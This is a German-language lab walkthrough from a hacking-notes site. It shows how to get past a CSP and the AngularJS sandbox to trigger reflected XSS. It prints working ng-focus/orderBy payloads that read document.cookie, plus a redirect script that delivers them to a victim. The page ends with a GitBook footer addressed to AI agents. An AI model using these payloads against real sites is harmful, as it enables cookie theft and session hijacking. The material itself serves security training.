> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/angularjs-sandbox-escape-with-csp.md).

# AngularJS-Sandbox-Flucht mit CSP

### Reflektiertes XSS mit AngularJS-Sandbox-Ausbruch und CSP

Führen Sie einen reflektierten Cross-Site-Scripting-Angriff durch, der die Content Security Policy umgeht, aus der AngularJS-Sandbox ausbricht und ausgeführt wird `alert(document.cookie)`.

**Kommentare**/ Die Website verwendet eine CSP-Richtlinie, die die Skriptausführung von einer externen Domain verhindert:

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/156841ee717dd2c19923829fe94b3acdb2203b7e" alt=""><figcaption></figcaption></figure>

Durch Konsultation des PortSwigger-Spickzettels identifizieren wir einen funktionierenden AngularJS-Vektor, der die Auswertung über einen `orderBy` Filter angewendet auf den `$event.composedPath()` Ereignis.

<figure><img src="/files/be5d1512347f8dd5d3c3059fb1a97fb1249a84d7" alt=""><figcaption></figcaption></figure>

* Um einen Alert auszulösen:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/17dfe7def75201594dd8bc343ef543cd8554c97c" alt=""><figcaption></figcaption></figure>

* Um den Wert von `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

Beispiel für eine URL, die erstellt wurde, um die Nutzlast zu übermitteln und die Ausführung auf der Opferseite zu erzwingen:

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/158d87eba73225df8d986474f45c60e2021f47cf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/angularjs-sandbox-escape-with-csp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
